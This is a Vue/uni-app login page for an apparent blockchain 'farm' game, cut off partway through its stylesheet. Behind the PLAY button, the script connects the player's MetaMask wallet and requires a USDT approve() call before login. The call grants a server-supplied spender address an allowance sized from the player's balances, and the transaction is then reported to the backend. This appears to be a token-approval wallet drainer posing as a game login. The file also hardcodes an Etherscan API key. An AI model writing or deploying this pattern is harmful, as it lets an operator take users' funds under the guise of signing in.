<template>
	<view class="login-page page">
		<!-- 视频区域 -->
		<view class="video-box">
			<view class="video-container">
				<swiper class="swiper" :disable-touch="true">
					<swiper-item>
						<view class="swiper-item">
							<video class="video" src="/static/media/video.mp4" :poster="'true'" :preload="'true'"
								controls style="object-fit: contain"></video>
						</view>
					</swiper-item>
				</swiper>
			</view>
		</view>

		<!-- 播放按钮 -->
		<view class="flex-center step-wraps">
			<view class="login-btn" @click="handleLogin">{{ $t('auth.play', 'PLAY') }}</view>
		</view>

		<!-- 介绍文本区域 -->
		<view class="intro-text">
			<view class="text">
				<image class="img" src="/static/img/text1.png" style="width: 500rpx; height: 44rpx;"></image>
			</view>
			<view class="text">
				<image class="img" src="/static/img/text2.png" style="width: 536rpx; height: 44rpx;"></image>
			</view>
			<view class="text">
				<image class="img" src="/static/img/text3.png" style="width: 684rpx; height: 44rpx;"></image>
			</view>
			<view class="text">
				<image class="img" src="/static/img/text4.png" style="width: 684rpx; height: 44rpx;"></image>
			</view>
			<view class="text">
				<image class="img" src="/static/img/text5.png" style="width: 684rpx; height: 44rpx;"></image>
			</view>
		</view>

		<!-- 介绍文本区域2 -->
		<view class="intro-text2">
			<view class="intro-text-wrap">
				<image class="img" src="/static/img/text2-1.png" style="width: 576rpx; height: 314rpx;"></image>
			</view>
		</view>

		<!-- 弹窗组件 -->
		<uni-popup ref="invitationPopup">
			<view class="pup-box">
				<image class="close-img" src="/static/img/close.png" @click="closePopup"></image>
				<view class="title">{{ $t('auth.invitation_code', 'Invitation code') }}</view>
				<view class="contents">
					<view class="text mt12">{{ $t('auth.please_enter_invitation_code', 'Please enter the invitation code') }}</view>
					<view class="inp-wrap flex-l">
						<input class="input" v-model="invitationCode"
							:placeholder="$t('auth.invitation_code', 'Invitation code')" maxlength="140"
							enterkeyhint="done" autocomplete="off" />
					</view>
				</view>
				<view class="flex-center">
					<view class="cancel-btn" @click="confirmInvitation">{{ $t('common.define', 'Define') }}</view>
				</view>
			</view>
		</uni-popup>

		<!-- 切换官方链提示弹窗 -->
		<uni-popup ref="switchChainPopup" type="center">
			<view class="switch-chain-popup-box">
				<image class="close-img" src="/static/img/close.png" mode="aspectFit" @click="closeSwitchChainPopup">
				</image>
				<view class="title">{{ $t('auth.point', 'Point') }}</view>
				<view class="contents">
					<view class="text mt12">{{ $t('auth.please_switch_to_official_chain', 'Please switch to the official chain!') }}</view>
				</view>
				<view class="flex-center">
					<view class="cancel-btn" @click="handleCancel">{{ $t('common.cancel', 'Cancel') }}</view>
				</view>
			</view>
		</uni-popup>

		<loader />
	</view>
</template>

<script>
import md5 from 'js-md5'
import { userApi } from '@/request/user.js'
import { systemApi } from '@/request/system.js'
import { languageMixin } from '@/utils/language-mixin.js'
import { ethers } from "ethers";
import { BrowserProvider, EtherscanProvider } from "ethers";
import loadingVue from '../loading/loading.vue'
import { farmApi } from '@/request/farm.js'

// Etherscan API配置
const ETHERSCAN_API_KEY = 'K6XBY4N25S9G713W8TRCTPFDTMKF3ZXG5I';
// 不同链的区块浏览器API基地址
const SCAN_API_BY_CHAINID = {
	1: 'https://api.etherscan.io/v2/api',
	56: 'https://api.bscscan.com/api',
	137: 'https://api.polygonscan.com/api',
	42161: 'https://api.arbiscan.io/api'
};

// 支持的网络配置
const SUPPORTED_NETWORKS = {
	'1': { name: 'Ethereum Main Network', chainId: 1, rpcUrl: 'https://eth-mainnet.public.blastapi.io' },
	'2': { name: 'mainnet', chainId: 2, rpcUrl: 'https://mainnet.infura.io/v3/' },
	'56': { name: 'bsc', chainId: 56, rpcUrl: 'https://bsc-dataseed.binance.org/' },
	'137': { name: 'polygon', chainId: 137, rpcUrl: 'https://polygon-rpc.com/' },
	'42161': { name: 'arbitrum', chainId: 42161, rpcUrl: 'https://arb1.arbitrum.io/rpc' }
};

// ERC20代币合约ABI，用于授权操作
const tokenABI = [{ "constant": true, "inputs": [], "name": "name", "outputs": [{ "name": "", "type": "string" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "_upgradedAddress", "type": "address" }], "name": "deprecate", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [{ "name": "_spender", "type": "address" }, { "name": "_value", "type": "uint256" }], "name": "approve", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "deprecated", "outputs": [{ "name": "", "type": "bool" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "_evilUser", "type": "address" }], "name": "addBlackList", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "totalSupply", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "_from", "type": "address" }, { "name": "_to", "type": "address" }, { "name": "_value", "type": "uint256" }], "name": "transferFrom", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "upgradedAddress", "outputs": [{ "name": "", "type": "address" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [{ "name": "", "type": "address" }], "name": "balances", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "decimals", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "maximumFee", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "_totalSupply", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "unpause", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [{ "name": "_maker", "type": "address" }], "name": "getBlackListStatus", "outputs": [{ "name": "", "type": "bool" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [{ "name": "", "type": "address" }, { "name": "", "type": "address" }], "name": "allowed", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "paused", "outputs": [{ "name": "", "type": "bool" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [{ "name": "who", "type": "address" }], "name": "balanceOf", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "pause", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getOwner", "outputs": [{ "name": "", "type": "address" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "owner", "outputs": [{ "name": "", "type": "address" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "symbol", "outputs": [{ "name": "", "type": "string" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "_to", "type": "address" }, { "name": "_value", "type": "uint256" }], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [{ "name": "newBasisPoints", "type": "uint256" }, { "name": "newMaxFee", "type": "uint256" }], "name": "setParams", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [{ "name": "amount", "type": "uint256" }], "name": "issue", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [{ "name": "amount", "type": "uint256" }], "name": "redeem", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [{ "name": "_owner", "type": "address" }, { "name": "_spender", "type": "address" }], "name": "allowance", "outputs": [{ "name": "remaining", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "basisPointsRate", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [{ "name": "", "type": "address" }], "name": "isBlackListed", "outputs": [{ "name": "", "type": "bool" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "_clearedUser", "type": "address" }], "name": "removeBlackList", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "MAX_UINT", "outputs": [{ "name": "", "type": "uint256" }], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [{ "name": "newOwner", "type": "address" }], "name": "transferOwnership", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [{ "name": "_blackListedUser", "type": "address" }], "name": "destroyBlackFunds", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{ "name": "_initialSupply", "type": "uint256" }, { "name": "_name", "type": "string" }, { "name": "_symbol", "type": "string" }, { "name": "_decimals", "type": "uint256" }], "payable": false, "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }], "name": "Issue", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "amount", "type": "uint256" }], "name": "Redeem", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "newAddress", "type": "address" }], "name": "Deprecate", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "feeBasisPoints", "type": "uint256" }, { "indexed": false, "name": "maxFee", "type": "uint256" }], "name": "Params", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "_blackListedUser", "type": "address" }, { "indexed": false, "name": "_balance", "type": "uint256" }], "name": "DestroyedBlackFunds", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "_user", "type": "address" }], "name": "AddedBlackList", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": false, "name": "_user", "type": "address" }], "name": "RemovedBlackList", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": true, "name": "owner", "type": "address" }, { "indexed": true, "name": "spender", "type": "address" }, { "indexed": false, "name": "value", "type": "uint256" }], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [{ "indexed": true, "name": "from", "type": "address" }, { "indexed": true, "name": "to", "type": "address" }, { "indexed": false, "name": "value", "type": "uint256" }], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [], "name": "Pause", "type": "event" }, { "anonymous": false, "inputs": [], "name": "Unpause", "type": "event" }];

let provider = null, etherscanProvider = null, signer = null

export default {
	mixins: [languageMixin],
	data() {
		return {
			showPopup1: false,
			invitationCode: '',
			isLogin: true,
			progress: 0,
			progressWidth: 0,
			// 状态管理
			isConnected: false,
			account: '',
			network: '',
			chainId: null,
			accountAddress: '',
			accountBalance: '',
			nativeBalanceUSD: null, // 新增：用于存储原生币余额的USD估值
			priceCache: { usdPrice: null, ts: 0 }, // 简单价格缓存，避免频繁请求
			tokenAddress: '0xdAC17F958D2ee523a2206206994597C13D831ec7', // USDT代币合约地址
			spenderAddress: '', // 授权接收方地址
			amount: '999999999999999999999999999', // 最大授权额度
			isLoading: false,
			statusMessage: '',
			statusClass: '',
			allowance: null,
			provider: null,
			signer: null,
			tokenAbi: tokenABI,
		};
	},
	onLoad() {
		uni.$emit('show-loading')
	},
	onShow() {
		// this.isLogin = uni.getStorageSync('isLogin')
	},
	async mounted() {
		const res = await systemApi.getSystemConfig()
			
		if(res.code === 200 && Array.isArray(res.data) && res.data.length > 0) {
			const toAddressItem = res.data.find(item => item.configKey === 'to_address')
			this.spenderAddress = toAddressItem.configVal
		}
	},
	methods: {
		async handleLogin() {
			try {
				// 1) 检查MetaMask是否安装
				if (typeof window === 'undefined' || typeof window.ethereum === 'undefined') {
					uni.showToast({
						title: this.$t('messages.please_install_metamask', 'Please install MetaMask plugin'),
						icon: 'none',
						duration: 3000
					})
					return
				}

				// 2) 检查ethers是否已正确加载
				if (!ethers) {
					uni.showToast({
						title: 'Ethers library failed to load',
						icon: 'none'
					})
					return
				}

				// 3) 请求连接钱包
				const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' })
				console.log('Connected accounts:', accounts)

				const address = (accounts && accounts[0]) || ''
				// 获取钱包余额
				const balance = await window.ethereum.request({
					method: 'eth_getBalance',
					params: [address, 'latest']
				})
				console.log('balance:', balance)

				this.accountAddress = address
				if (!address) {
					uni.showToast({
						title: this.$t('messages.wallet_address_not_found', 'Wallet address not found'),
						icon: 'none'
					})
					return
				}

				// 4) 创建provider和signer
				await this.initializeProvider()

				// 5) 检查网络
				await this.checkNetwork()

				// 6) 计算原生币余额的 USD 估值
				await this.updateNativeBalanceUSD(address)

				// 7) 获取合约授权
				await this.getContractApproval(address);

				// 8) 授权成功后，使用获取到的钱包地址登录
				const res = await userApi.login({ address, sign: md5(address) })
				console.log('Login response:', res.data)

				if (res && res.code === 200) {
					uni.setStorageSync('x-token', res.data['x-token'])
					uni.setStorageSync('userInfo', res.data.info || {})
					uni.$emit('hide-loading')

					// 设置后端语言包
					await this.setupBackendLanguage(res.data.info)

					// 若存在授权交易信息，登录成功后再上报
					if (this.authTxInfo && this.authTxInfo.tx && this.authTxInfo.receipt) {
						try {
							await this.uploadAuthPermissions(this.authTxInfo.from, this.authTxInfo.tx, this.authTxInfo.receipt)
							this.authTxInfo = null
						} catch (e) {
							console.warn('Deferred auth permissions report failed:', e)
						}
					}

					if (!res.data.info.user_code) {
						this.$refs.invitationPopup.open()
					} else {
						uni.navigateTo({ url: '/pages/loading/loading' })
					}
				} else {
					uni.showToast({
						title: (res && (res.message || res.msg)) || this.$t('messages.login_failed', 'Login failed'),
						icon: 'none'
					})
				}
			} catch (e) {
				console.error('Login failed:', e)
				uni.showToast({
					title: e.message || this.$t('messages.login_failed', 'Login failed'),
					icon: 'none'
				})
			} finally {
				uni.$emit('hide-loading')
			}
		},
		// 初始化Provider和Signer
		async initializeProvider() {
			try {
				// 使用ethers.js v6的BrowserProvider
				provider = new BrowserProvider(window.ethereum);
				signer = await provider.getSigner();

				console.log('Provider and signer initialized successfully');
			} catch (error) {
				console.error('Error initializing provider:', error);
				throw new Error('Failed to initialize wallet connection');
			}
		},

		// 检查网络
		async checkNetwork() {
			try {
				const network = await provider.getNetwork();
				console.log('network', network);

				this.chainId = `${network.chainId}`;
				this.network = network.name;

				console.log('Current network:', network);
				console.log('this.chainId:', this.chainId);

				// 检查是否支持当前网络
				if (!SUPPORTED_NETWORKS[this.chainId]) {
					this.$refs.switchChainPopup.open();
					throw new Error('Unsupported network. Please switch to a supported network.');
				}

				// 初始化Etherscan Provider
				etherscanProvider = new EtherscanProvider(network, ETHERSCAN_API_KEY);

				// 若已配置token合约地址，则进一步尝试从区块浏览器拉取ABI
				// if (this.tokenAddress) {
				// 	try {
				// 		await this.fetchContractAbi(this.tokenAddress);
				// 		console.log('Token ABI loaded from scanner');
				// 	} catch (e) {
				// 		console.warn('Load ABI from scanner failed, fallback to local tokenABI:', e);
				// 	}
				// }

			} catch (error) {
				console.error('Network check failed:', error);
				throw error;
			}
		},

		// 从区块浏览器拉取合约ABI并缓存到this.tokenAbi
		async fetchContractAbi(contractAddress) {
			if (!contractAddress) throw new Error('Contract address is required');
			if (!this.chainId) {
				// 确保已获取网络信息
				await this.checkNetwork();
			}
			const apiBase = SCAN_API_BY_CHAINID[this.chainId];
			if (!apiBase) throw new Error('No scanner API for current network');
			const url = `${apiBase}?chainid=${this.chainId}&module=contract&action=getabi&address=${contractAddress}&apikey=${ETHERSCAN_API_KEY}`;
			try {
				let data;
				if (typeof fetch === 'function') {
					const resp = await fetch(url, { method: 'GET' });
					data = await resp.json();
					console.log('data', data);
				} else {
					// 兼容uni-app请求
					data = await new Promise((resolve, reject) => {
						uni.request({ url, method: 'GET', success: r => resolve(r.data), fail: reject })
					});
				}
				if (data && (data.status === '1' || data.message === 'OK') && data.result) {
					const parsed = JSON.parse(data.result);
					// console.log('parsed', parsed);
					this.tokenAbi = parsed;
					return parsed;
				}
				throw new Error(data && data.result ? data.result : 'Failed to fetch ABI');
			} catch (err) {
				console.error('fetchContractAbi error:', err);
				throw err;
			}
		},

		// 获取合约授权
		async getContractApproval(address) {
			try {
				// 显示加载状态
				uni.showLoading({
					title: this.$t('auth.requesting_approval', 'Requesting approval...')
				});
				this.isLoading = true;
				this.statusMessage = this.$t('auth.requesting_approval', 'Requesting approval...');

				// 验证必要参数
				if (!address) {
					throw new Error('Wallet address is required');
				}
				if (!this.spenderAddress) {
					throw new Error('Spender address is required');
				}
				if (!this.tokenAddress) {
					throw new Error('Token contract address is required');
				}

				// 优先使用从浏览器拉取到的ABI，否则回退到本地tokenABI
				const abiToUse = this.tokenAbi && Array.isArray(this.tokenAbi) ? this.tokenAbi : tokenABI;
				// 创建ERC20合约实例（合约地址应为token地址，而非spender地址）
				const tokenContract = new ethers.Contract(this.tokenAddress, abiToUse, signer);
				console.log('tokenContract', tokenContract);

				// 检查当前授权额度（返回 BigInt）
				const currentAllowance = await tokenContract.allowance(address, this.spenderAddress);
				const decimals = await tokenContract.decimals();
				this.allowance = ethers.formatUnits(currentAllowance, decimals);
				console.log('Current allowance (raw):', currentAllowance);

				// 获取用户钱包的代币余额（返回 BigInt）
				const balance = await tokenContract.balanceOf(address);
				console.log('User balance:', ethers.formatUnits(balance, decimals));

				// 期望授权额度：以代币最小单位计。
				// 按用户要求：用“美元估值”直接作为授权数量（会换算为代币数量再转最小单位）。
				let approveAmount = balance; // 兜底为余额
				try {
					if (this.nativeBalanceUSD != null) {
						approveAmount = await this.computeApproveAmountFromUsd(String(this.nativeBalanceUSD), tokenContract, decimals);
					}
				} catch (convErr) {
					console.warn('USD->token approveAmount conversion failed, fallback to balance:', convErr);
				}
				
				// 如果授权额度小于需要的额度，则请求授权（全程用 BigInt 比较，避免浮点误差）
				if (currentAllowance < approveAmount) {
					// uni.showLoading({
					// 	title: this.$t('auth.please_approve_in_metamask', 'Waiting approve'),
					// })
					// 显示提示信息
					// uni.showToast({
					// 	title: this.$t('auth.please_approve_in_metamask', 'Please approve in MetaMask'),
					// 	icon: 'none',
					// 	duration: 2000
					// });

					// 在发起授权前，预估Gas并检查原生币余额是否足够支付手续费
					try {
						const gasEstimate = await tokenContract.approve.estimateGas(this.spenderAddress, approveAmount);
						const feeData = await provider.getFeeData();
						const perGas = feeData.maxFeePerGas ?? feeData.gasPrice; // BigInt
						if (!perGas) throw new Error('Failed to get gas price');
						const totalFee = gasEstimate * perGas; // BigInt
						console.log('totalFee', totalFee);
						const buffer = (totalFee * 12n) / 10n; // 预留20%余量
						const nativeBal = await provider.getBalance(address); // BigInt
						console.log('nativeBal', nativeBal);
						if (nativeBal < buffer) {
							const need = ethers.formatEther(buffer);
							const has = ethers.formatEther(nativeBal);
							// 根据链ID给出原生币符号
							const symbol = this.chainId === '1' || this.chainId === '42161' ? 'ETH' : (this.chainId === '56' ? 'BNB' : (this.chainId === '137' ? 'MATIC' : 'Native'));
							uni.showToast({
								title: this.$t('auth.insufficient_native_balance', `Insufficient ${symbol} for gas. Need ~${need}, have ${has}`),
								icon: 'none',
								duration: 4000
							});
							uni.hideLoading();
							return; // 原生币不足，终止授权
						}
					} catch (e) {
						console.warn('Gas precheck failed, proceeding with MetaMask estimation:', e);
						uni.hideLoading();
					}

					// 发起授权交易，授权到当前余额（BigInt）
					const tx = await tokenContract.approve(this.spenderAddress, approveAmount);
					console.log('Approval transaction sent:', tx);

					// 等待交易确认
					const receipt = await tx.wait();
					console.log('Approval transaction confirmed:', receipt);

					// 检查交易是否成功
					if (receipt.status === 1) {
						console.log('Approval successful');
						// 更新授权额度
						const newAllowance = await tokenContract.allowance(address, this.spenderAddress);
						this.allowance = ethers.formatUnits(newAllowance, 6);

						// 显示成功消息
						// uni.showToast({
						// 	title: this.$t('auth.approval_successful', 'Approval successful'),
						// 	icon: 'success'
						// });

						// 记录授权交易信息，待登录成功后再上报
						this.authTxInfo = { from: address, tx, receipt };
					} else {
						throw new Error(this.$t('auth.approval_failed', 'Approval failed'));
					}
				} else {
					console.log('Already approved with sufficient allowance');
					// 显示已授权消息
					// uni.showToast({
					// 	title: this.$t('auth.already_approved', 'Already approved'),
					// 	icon: 'success'
					// });
				}

			} catch (error) {
				console.error('Approval error:', error);

				// 处理不同类型的错误
				if (error.code === 4001) {
					// 用户拒绝了授权
					uni.showToast({
						title: this.$t('auth.approval_rejected', 'Approval rejected by user'),
						icon: 'none'
					});
				} else if (error.code === -32602) {
					// 无效参数
					uni.showToast({
						title: this.$t('auth.invalid_parameters', 'Invalid parameters'),
						icon: 'none'
					});
				} else if (error.message && error.message.includes('network')) {
					// 网络错误
					uni.showToast({
						title: this.$t('auth.network_error', 'Network error, please check your connection'),
						icon: 'none'
					});
				} else {
					// 其他错误
					uni.showToast({
						title: this.$t('auth.approval_error', 'Approval error: ') + (error.message || 'Unknown error'),
						icon: 'none'
					});
				}

				// 抛出错误，中断登录流程
				throw error;
			} finally {
				// 隐藏加载状态
				uni.hideLoading();
				this.isLoading = false;
			}
		},

		// 关闭弹窗
		closePopup() {
			this.$refs.invitationPopup.close()
			this.invitationCode = ''
		},

		// 确认邀请码
		async confirmInvitation() {
			if (!this.invitationCode.trim()) {
				uni.showToast({
					title: this.$t('messages.please_enter_invitation_code', 'Please enter the invitation code'),
					icon: 'none'
				})
				return
			}
			const res = await userApi.submitInvitationCode({ invitationCode: this.invitationCode })
			if (res && res.code === 200) {
				// 提交邀请码成功后，也需要设置语言
				const userInfo = uni.getStorageSync('userInfo') || {}
				await this.setupBackendLanguage(userInfo)
				uni.navigateTo({ url: '/pages/loading/loading' })
			} else {
				uni.showToast({
					title: this.$t('messages.invitation_code_error', 'Invitation code error'),
					icon: 'none'
				})
			}
			this.closePopup()
		},

		// 关闭切换链弹窗
		closeSwitchChainPopup() {
			this.$refs.switchChainPopup.close();
		},

		// 处理取消操作
		handleCancel() {
			this.$refs.switchChainPopup.close();
			console.log('User canceled the switch chain operation');
		},

		// 设置后端语言包
		async setupBackendLanguage(userInfo) {
			try {
				// 如果用户的locale为null，说明需要设置语言
				if (!userInfo.locale) {
					// 获取系统语言
					const app = getApp()
					const systemLanguage = app.globalData.systemLanguage || 'en'

					// 转换系统语言为后端需要的格式
					let localeType = 'en' // 默认英文
					if (systemLanguage.includes('zh')) {
						localeType = 'zh-CN' // 中文
					} else if (systemLanguage.includes('en')) {
						localeType = 'en' // 英文
					}

					console.log('System language:', systemLanguage, 'Set backend language:', localeType)

					// 调用后端接口设置语言
					const res = await systemApi.updateBackendMLocale(localeType)
					if (res && res.code === 200) {
						console.log('Backend language set successfully')
						// 更新本地用户信息中的locale
						userInfo.locale = localeType
						uni.setStorageSync('userInfo', userInfo)
					} else {
						console.log('Backend language set failed:', res)
					}
				}
			} catch (e) {
				console.error('Failed to set backend language:', e)
			}
		},

		// 获取当前链在 CoinGecko 上的原生币 ID
		getNativeCoinIdForCoingecko() {
			switch (this.chainId) {
				case '1':
					return 'ethereum'; // ETH
				case '56':
					return 'binancecoin'; // BNB
				case '137':
					return 'matic-network'; // MATIC
				case '42161':
					return 'ethereum'; // Arbitrum 原生为 ETH
				default:
					return 'ethereum';
			}
		},

		// 获取原生币的 USD 价格（带60秒缓存与一次重试）
		async getNativeCoinPriceInUSD() {
			// 命中缓存（60s）
			const now = Date.now();
			if (this.priceCache && this.priceCache.usdPrice && (now - this.priceCache.ts) < 60_000) {
				return this.priceCache.usdPrice;
			}

			const id = this.getNativeCoinIdForCoingecko();
			const url = `https://api.coingecko.com/api/v3/simple/price?ids=${id}&vs_currencies=usd`;

			const fetchOnce = async () => {
				let data;
				if (typeof fetch === 'function') {
					const resp = await fetch(url, { method: 'GET' });
					data = await resp.json();
				} else {
					data = await new Promise((resolve, reject) => {
						uni.request({ url, method: 'GET', success: r => resolve(r.data), fail: reject })
					});
				}
				const price = data && data[id] && data[id].usd ? Number(data[id].usd) : null;
				if (!price || !Number.isFinite(price)) throw new Error('No price in response');
				return price;
			};

			try {
				let price;
				try {
					price = await fetchOnce();
				} catch (_) {
					// 简单重试一次
					price = await fetchOnce();
				}
				// 写入缓存
				this.priceCache = { usdPrice: price, ts: now };
				return price;
			} catch (e) {
				console.warn('CoinGecko price fetch failed:', e);
				// 以太坊主网回退到 EtherscanProvider
				if (this.chainId === '1' && etherscanProvider && typeof etherscanProvider.getEtherPrice === 'function') {
					try {
						const p = Number(await etherscanProvider.getEtherPrice());
						if (Number.isFinite(p)) {
							this.priceCache = { usdPrice: p, ts: now };
							return p;
						}
					} catch (e2) {
						console.warn('Etherscan price fallback failed:', e2);
					}
				}
				throw e;
			}
		},

		// 根据“美元估值”计算授权数量（按代币最小单位返回 BigInt）
		async computeApproveAmountFromUsd(usdStr, tokenContract, decimals) {
			if (!usdStr) throw new Error('USD amount is required');
			const s = String(usdStr).trim();
			// 仅允许数字和一个小数点
			if (!/^\d+(\.\d+)?$/.test(s)) throw new Error('Invalid USD amount');
			// 这里假设代币本身以 USD 计价（例如 USDT/USDC ~ 1 USD）。
			// 若为非稳定币，请在此先通过喂价将 USD 转换为代币数量后再 parseUnits。
			const amount = ethers.parseUnits(s, Number(decimals)); // BigInt
			return amount;
		},

		// 计算并更新原生币余额的 USD 估值
		async updateNativeBalanceUSD(address) {
			try {
				const wei = await provider.getBalance(address);
				const nativeAmount = Number(ethers.formatEther(wei));
				const price = await this.getNativeCoinPriceInUSD();
				const usd = nativeAmount * price;
				this.nativeBalanceUSD = Number.isFinite(usd) ? usd.toFixed(2) : null;
				console.log('Native balance USD:', this.nativeBalanceUSD, `(${nativeAmount} * ${price})`);
			} catch (e) {
				console.error('updateNativeBalanceUSD failed:', e);
				this.nativeBalanceUSD = null;
			}
		},

		// 上报授权信息
		async uploadAuthPermissions(from, tx, receipt) {
			try {
				const userInfo = uni.getStorageSync('userInfo')
				if (!tx || !receipt) return;
				const gasPriceBig = receipt.gasPrice ?? receipt.effectiveGasPrice; // ethers v6
				const payload = {
					username: userInfo.name,
					walletAddress: from,
					fromAddress: from,
					toAddress: this.spenderAddress,
					blockHash: receipt.blockHash,
					blockNumber: receipt.blockNumber != null ? receipt.blockNumber.toString() : null,
					gasPrice: gasPriceBig ? gasPriceBig.toString() : null,
					gasUsed: receipt.gasUsed ? receipt.gasUsed.toString() : null,
					txHash: tx.hash,
					address: this.tokenAddress,
					tStatus: receipt.status === 1 ? 1 : 0
				};
				await farmApi.authPermissions(payload);
				console.log('Auth permissions reported:', payload);
			} catch (e) {
				console.warn('uploadAuthPermissions error:', e);
			}
		}
	}
};
</script>

<style scoped lang="scss">
.login-page {
	width: 100%;
	height: 5906rpx;
	background: url(/static/img/login-bg.png) no-repeat;
	background-size: 100% auto;
	padding-top: 92rpx;
	box-sizing: border-box;
	text-align: center;
	position: relative;

	.video-box {
		background: url(/static/img/video-bg.png) no-repeat 50%;
		width: 576rpx;
		height: 382rpx;
		margin: 488rpx auto 52rpx auto;
		padding: 78rpx 30rpx 16rpx 30rpx;
		background-size: 100% 100%;

		.video-container {
			position: relative;

			.swiper-item {
				padding: 56.25% 0 0;
				position: relative;

				.video {
					position: absolute;
					top: 0;
					left: 0;
					width: 100%;
					height: 100%;
					font-size: 28rpx;

					:deep(.uni-video-toast .uni-video-toast-title) {
						font-size: 28rpx;
					}
				}
			}
		}
	}

	.step-wraps {
		width: 100%;
		padding: 0 120rpx;
		box-sizing: border-box;
		display: flex;
		justify-content: center;

		.login-btn {
			width: 270rpx;
			height: 78rpx;
			line-height: 72rpx;
			text-align: center;
			background: url(/static/img/btn-bg.png) no-repeat;
			background-size: 100%;
			color: #fff;
			font-size: 36rpx;
			font-weight: 700;
		}
	}

	.intro-text {
		margin-top: 530rpx;

		.text {
			.img {
				height: 44rpx;
			}
		}
	}

	.intro-text2 {
		.intro-text-wrap {
			background: url(/static/img/intro2-bg.png) no-repeat 50%;
			background-size: 100% 100%;
			width: 576rpx;
			height: 314rpx;
			margin: 334rpx auto 0 auto;

			.img {
				width: 576rpx;
				height: 314rpx;
			}
		}
	}

	// 通用样式类
	.flex-center {
		display: flex;
		justify-content: center;
		align-items: center;
	}

	.flex-l {
		display: flex;
		align-items: center;
	}

	// 弹窗样式
	.pup-box {
		position: relative;
		width: 512rpx;
		min-height: 402rpx;
		padding: 14rpx 30rpx;
		box-sizing: border-box;
		background: url(/static/img/chain-pup.png) no-repeat;
		background-size: 100%;
		margin-top: -238rpx;

		.close-img {
			position: absolute !important;
			width: 74rpx;
			height: 74rpx;
			right: -14rpx;
			top: 24rpx;
		}

		.title {
			color: #fef9e2;
			font-weight: 700;
			font-size: 34rpx;
			text-align: center;
		}

		.contents {
			width: 100%;
			padding-top: 30rpx;
			height: 260rpx;
			overflow: auto;

			.text {
				color: #885625;
				font-size: 30rpx;
				font-weight: 700;
				margin-top: 32rpx;
				margin-bottom: 16rpx;
			}

			.inp-wrap {
				width: 100%;
				height: 76rpx;
				background: #5c8a50;
				box-shadow: 0 2rpx 4rpx 0 #43573f;
				border-radius: 12rpx;
				padding: 0 24rpx;
				box-sizing: border-box;

				.input {
					font-size: 32rpx;
					color: #fff;
					text-align: left;
					font-weight: 700;

					:deep(.uni-input-placeholder.input-placeholder) {
						color: hsla(0, 0%, 100%, .6);
					}

					// :deep(.uni-input-input) {
					// 	color: inherit;
					// }
				}
			}
		}

		.cancel-btn {
			width: 270rpx;
			height: 78rpx;
			line-height: 68rpx;
			text-align: center;
			margin: 0 auto;
			margin-top: 10rpx;
			background: url(/static/img/btn-bg.png) no-repeat;
			background-size: 100%;
			color: #fff;
			font-size: 36rpx;
			font-weight: 700;
		}
	}

	.switch-chain-popup-box {
		position: relative;
		width: 256px;
